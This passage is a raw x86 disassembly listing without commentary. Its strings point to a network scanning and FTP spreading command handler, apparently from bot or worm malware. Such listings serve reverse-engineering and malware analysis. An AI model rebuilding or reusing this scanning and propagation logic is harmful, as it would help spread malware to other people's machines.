[eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4220AA: ; CODE XREF: sub_422050+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_422050 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4220E0 proc near ; CODE XREF: sub_401212j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 20h call sub_4020BD sub_4220E0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4220F5 mov edi, esi loc_4220F5: ; CODE XREF: ___:004220F1j push esi call sub_40110E mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_42210A mov edi, esi loc_42210A: ; CODE XREF: ___:00422106j push esi call sub_4010EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422130 proc near ; CODE XREF: sub_4021B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4018E3 sub_422130 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422150 proc near ; CODE XREF: sub_40110Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_422150 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422170 proc near ; CODE XREF: sub_40108Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422170 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422190 proc near ; CODE XREF: sub_4011A9j mov eax, ecx retn sub_422190 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4221B0 proc near ; CODE XREF: sub_401D75j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4018ED mov eax, esi pop esi retn 4 sub_4221B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4221E0 proc near ; CODE XREF: sub_401D48j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4221E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422210 proc near ; CODE XREF: sub_401E3Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401A2D add esp, 8 retn 8 sub_422210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422240 proc near ; CODE XREF: sub_401A1Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4020B8 mov ecx, eax call sub_4010C8 mov esi, eax push esi call sub_40204F push esi mov ebx, eax call sub_401CF3 mov ecx, [eax] push ecx call sub_40204F mov edx, [ebx] push esi mov [eax], edx call sub_401CF3 push esi mov ebx, eax call sub_40204F mov eax, [eax] push eax call sub_401CF3 mov ecx, [ebx] push esi mov [eax], ecx call sub_4010F5 add esp, 1Ch mov ecx, edi push eax call sub_401631 push esi mov ecx, edi call sub_401947 sub_422240 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422300 proc near ; CODE XREF: sub_401CF3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_422300 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422320 proc near ; CODE XREF: sub_401DF2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_422320 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422350 proc near ; CODE XREF: sub_401546j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_422350 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422370 proc near ; CODE XREF: sub_4017E9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40201D add esp, 8 retn 8 sub_422370 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223A0 proc near ; CODE XREF: sub_401519j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4223A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223C0 proc near ; CODE XREF: sub_4010C8j mov eax, [ecx] retn sub_4223C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223E0 proc near ; CODE XREF: sub_4020B8j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40107D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4223E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422410 proc near ; CODE XREF: sub_401B7Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4019AB mov ecx, eax call sub_4018E8 mov esi, eax push esi call sub_40110E push esi mov ebx, eax call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [ebx] push esi mov [eax], edx call sub_4010EB push esi mov ebx, eax call sub_40110E mov eax, [eax] push eax call sub_4010EB mov ecx, [ebx] push esi mov [eax], ecx call sub_40108C add esp, 1Ch mov ecx, edi push eax call sub_401E60 push esi mov ecx, edi call sub_4021B7 sub_422410 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224D0 proc near ; CODE XREF: sub_4010EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4224D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4224F0 proc near ; CODE XREF: sub_4020BDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_4224F0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422520 proc near ; CODE XREF: sub_4018E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_422520 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422540 proc near ; CODE XREF: sub_4013DEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401ED3 add esp, 8 retn 8 sub_422540 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422570 proc near ; CODE XREF: sub_4018EDj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_422570 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422590 proc near ; CODE XREF: sub_4018E8j mov eax, [ecx] retn sub_422590 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225B0 proc near ; CODE XREF: sub_4019ABj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40182A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4225B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225E0 proc near ; CODE XREF: sub_401631j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401A78 pop ecx retn 4 sub_4225E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422600 proc near ; CODE XREF: sub_401E60j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401F9B pop ecx retn 4 sub_422600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422620 proc near ; CODE XREF: sub_401A2Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_42263B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_42263B: ; CODE XREF: sub_422620+11j retn sub_422620 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422650 proc near ; CODE XREF: sub_40201Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_422650 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422691 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_401677 loc_422691: ; CODE XREF: sub_422650+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_422650 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226E0 proc near ; CODE XREF: sub_401ED3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4226E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422721 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_4014C9 loc_422721: ; CODE XREF: sub_4226E0+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_4226E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422750 proc near ; CODE XREF: sub_401A78j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_4019BA retn sub_422750 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422770 proc near ; CODE XREF: sub_401F9Bj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_422770 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422790 proc near ; CODE XREF: sub_401677j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_4014C9 mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_422790 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4227C0 proc near ; CODE XREF: sub_4019BAj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A6E test [esp+4+arg_0], 1 jz short loc_4227D8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4227D8: ; CODE XREF: sub_4227C0+Dj mov eax, esi pop esi retn 4 sub_4227C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4227F0 proc near ; CODE XREF: sub_401AE1j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4227F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov dword_4D5FBB, offset aAsn ; "asn" call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+8D008h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_4227F0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+2Ch] push 1 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+8D036h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 0Eh push 1 push 3 lea ecx, [esp+2Ch] push 13h push ecx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+8D064h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+2Ch] push 1 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+8D092h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+44h] push 6 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 8D0C0h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422A40 proc near ; CODE XREF: sub_40138Ej var_78D = byte ptr -78Dh var_78C = dword ptr -78Ch var_788 = byte ptr -788h var_780 = dword ptr -780h var_770 = byte ptr -770h var_760 = byte ptr -760h var_6E0 = byte ptr -6E0h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_644 = dword ptr -644h var_640 = dword ptr -640h var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_624 = byte ptr -624h var_60C = byte ptr -60Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_422A40 push eax mov large fs:0, esp sub esp, 784h push ebx push ebp push esi mov esi, [esp+79Ch+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+8D008h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422B0A push 3 call sub_401483 add esp, 4 test eax, eax jle short loc_422ADD push 3 call sub_401D8E mov eax, dword_50BB80[eax*8] add esp, 4 push eax nop call near ptr 71AB3F41h push eax push offset aScanCipS ; "scan: cip (%s)" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 18h mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422ADD: ; CODE XREF: sub_422A40+52j lea ecx, [esi+2Ah] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push offset aScanNotStarted ; "scan: not started" push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422B0A: ; CODE XREF: sub_422A40+40j lea ecx, [ebp+8D0C0h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422BB0 mov edi, dword_4D63A0 push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 0 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+7A0h+var_788] mov ebx, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 cmp edi, ebx jl loc_4231BD mov edx, dword_44767F push edi push edx push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 1Ch mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422BB0: ; CODE XREF: sub_422A40+DFj lea ecx, [ebp+8D064h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_422C30 push eax push 3 call sub_401D93 add esp, 8 test eax, eax jle short loc_422C05 push eax push offset aScanStoppedDTh ; "scan: stopped (%d threads)" lea ecx, [esi+2Ah] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h jmp loc_422E39 ; --------------------------------------------------------------------------- loc_422C05: ; CODE XREF: sub_422A40+194j lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aScanCouldnTSto ; "scan: couldn't stop" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_422E39 ; --------------------------------------------------------------------------- loc_422C30: ; CODE XREF: sub_422A40+185j lea ecx, [ebp+8D036h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE mov edi, dword_50FB08 test eax, eax jnz loc_422CDE push 3 call sub_401483 add esp, 4 mov ebx, eax lea eax, [esp+7A0h+var_788] mov ecx, esi push offset asc_443600 ; " " push 2 push eax call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 1 call sub_4017E4 push eax call edi add eax, ebx add esp, 4 cmp eax, 1F4h lea ecx, [esp+7A0h+var_788] setnle [esp+7A0h+var_78D] mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov al, [esp+7A0h+var_78D] test al, al jz loc_422E56 push ebx push offset aScanTooManyThr ; "scan: too many threads (%s)" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 18h loc_422CDE: ; CODE XREF: sub_422A40+20Bj lea ecx, [ebp+8D092h] call sub_4014D3 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_422E39 push offset asc_443600 ; " " lea eax, [esp+7A4h+var_624] push 1 push eax mov ecx, esi xor ebx, ebx call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 0Ah call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_624] mov edi, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov eax, dword_444438 mov [esp+7A0h+var_78D], bl test eax, eax jz short loc_422D69 mov eax, offset dword_444438 loc_422D55: ; CODE XREF: sub_422A40+327j cmp [eax+8], edi jb short loc_422D5F mov [esp+7A0h+var_78D], 1 loc_422D5F: ; CODE XREF: sub_422A40+318j mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_422D55 loc_422D69: ; CODE XREF: sub_422A40+30Ej mov ebp, dword_50FBF0 lea ecx, [esp+7A0h+var_60C] push offset aScanStats ; "scan: stats:" push ecx call ebp mov eax, dword_444438 add esp, 8 test eax, eax jz short loc_422DCF mov edi, offset dword_444440 loc_422D8F: ; CODE XREF: sub_422A40+38Dj mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+7A8h+var_40C] push offset aSD ; " %s: %d," push eax call ebp lea ecx, [esp+7B0h+var_40C] push 200h lea edx, [esp+7B4h+var_60C] push ecx push edx call near ptr 77C47920h nop mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_422D8F loc_422DCF: ; CODE XREF: sub_422A40+348j push ebx lea eax, [esp+7A4h+var_40C] push offset aTotalD ; " total: %d" push eax call ebp lea ecx, [esp+7ACh+var_40C] push 200h lea edx, [esp+7B0h+var_60C] push ecx push edx nop call near ptr 77C47920h mov al, [esp+7B8h+var_78D] add esp, 18h test al, al jz short loc_422E29 xor eax, eax lea ecx, [esp+7A0h+var_60C] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_4014D3 push eax push 0 call sub_401523 add esp, 10h loc_422E29: ; CODE XREF: sub_422A40+3C3j lea edx, [esp+7A0h+var_60C] push edx call sub_4010D2 add esp, 4 loc_422E39: ; CODE XREF: sub_422A40+1C0j ; sub_422A40+1EBj ... xor al, al loc_422E3B: ; CODE XREF: sub_422A40+98j ; sub_422A40+C5j ... mov ecx, [esp+7A0h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 790h retn 4 ; --------------------------------------------------------------------------- loc_422E56: ; CODE XREF: sub_422A40+26Ej push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 2 call sub_4017E4 push eax call edi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_65C], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 2 push ecx mov ecx, esi call sub_4016AE mov ebp, 3 mov ecx, eax mov [esp+7A0h+var_4], ebp call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_644], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push ebp push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 4 call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_658], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov eax, [esp+7A0h+var_658] cmp eax, ebp jnb short loc_422F33 mov [esp+7A0h+var_658], ebp jmp short loc_422F43 ; --------------------------------------------------------------------------- loc_422F33: ; CODE XREF: sub_422A40+4E8j cmp eax, 3Ch jbe short loc_422F43 mov [esp+7A0h+var_658], 3Ch loc_422F43: ; CODE XREF: sub_422A40+4F1j ; sub_422A40+4F6j push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 5 call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_654], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov ecx, [esp+7A0h+var_654] mov eax, 960h cmp ecx, eax jbe short loc_422F9C mov [esp+7A0h+var_654], eax loc_422F9C: ; CODE XREF: sub_422A40+553j mov eax, dword_444438 mov [esp+7A0h+var_640], ebx test eax, eax mov [esp+7A0h+var_78C], 0 jz loc_42306C mov ebp, offset dword_444438 jmp short loc_422FC2 ; --------------------------------------------------------------------------- loc_422FBF: ; CODE XREF: sub_422A40+602j or ebx, 0FFFFFFFFh loc_422FC2: ; CODE XREF: sub_422A40+57Dj push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 6 call sub_4017E4 mov edi, eax lea ecx, [ebp-28h] loc_422FEC: ; CODE XREF: sub_422A40+5CAj mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_423010 test al, al jz short loc_42300C mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_423010 add ecx, 2 add edi, 2 test al, al jnz short loc_422FEC loc_42300C: ; CODE XREF: sub_422A40+5B6j xor eax, eax jmp short loc_423014 ; --------------------------------------------------------------------------- loc_423010: ; CODE XREF: sub_422A40+5B2j ; sub_422A40+5C0j sbb eax, eax sbb eax, ebx loc_423014: ; CODE XREF: sub_422A40+5CEj test eax, eax lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz short loc_42304A mov edx, [esp+7A0h+var_78C] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+7A0h+var_78C], edx jnz loc_422FBF jmp short loc_423069 ; --------------------------------------------------------------------------- loc_42304A: ; CODE XREF: sub_422A40+5EFj mov ecx, [esp+7A0h+var_78C] mov [esp+7A0h+var_640], ecx lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov edx, dword_444438[eax*4] mov [esp+7A0h+var_65C], edx loc_423069: ; CODE XREF: sub_422A40+608j or ebx, 0FFFFFFFFh loc_42306C: ; CODE XREF: sub_422A40+572j mov eax, [esp+7A0h+var_65C] test eax, eax jnz short loc_42308A lea ecx, [esi+2Ah] call sub_4014D3 push eax push offset aScanInvalidPor ; "scan: invalid port" jmp loc_4231A5 ; --------------------------------------------------------------------------- loc_42308A: ; CODE XREF: sub_422A40+635j push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016AE push offset dword_443DC4 mov ecx, eax mov [esp+7A4h+var_4], 7 call sub_4013E3 lea ecx, [esp+7A0h+var_788] mov edi, eax mov [esp+7A0h+var_4], ebx call sub_401226 test edi, edi jz loc_423167 push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 5 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 8 call sub_4017E4 push eax lea ecx, [esp+7A4h+var_770] push 10h push ecx nop call near ptr 77C3FA76h add esp, 0Ch lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016AE push 78h mov ecx, eax mov [esp+7A4h+var_4], 9 call sub_4017E4 push eax nop call near ptr 77C47660h add esp, 8 lea ecx, [esp+7A0h+var_788] neg eax sbb eax, eax mov [esp+7A0h+var_4], ebx neg eax mov [esp+7A0h+var_630], eax call sub_401226 jmp loc_423296 ; --------------------------------------------------------------------------- loc_423167: ; CODE XREF: sub_422A40+688j push offset dword_444574 mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 push offset off_444570 mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 push offset off_44456C mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 lea ecx, [esi+2Ah] call sub_4014D3 push eax push offset aScanNoIpSpecif ; "scan: no ip specified" loc_4231A5: ; CODE XREF: sub_422A40+645j mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 loc_4231BD: ; CODE XREF: sub_422A40+132j mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_4231C4: ; CODE XREF: sub_422A40+735j ; sub_422A40+745j ... mov ecx, dword_4D60BD lea edx, [esp+7A0h+var_78C] lea eax, [esp+7A0h+var_788] push edx push eax push ecx mov [esp+7ACh+var_78C], 10h call near ptr 71AB951Eh nop push offset off_444570 mov ecx, esi call sub_4013E3 mov edx, eax mov eax, [esp+79Ch+var_780] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+7A4h+var_780], eax nop call near ptr 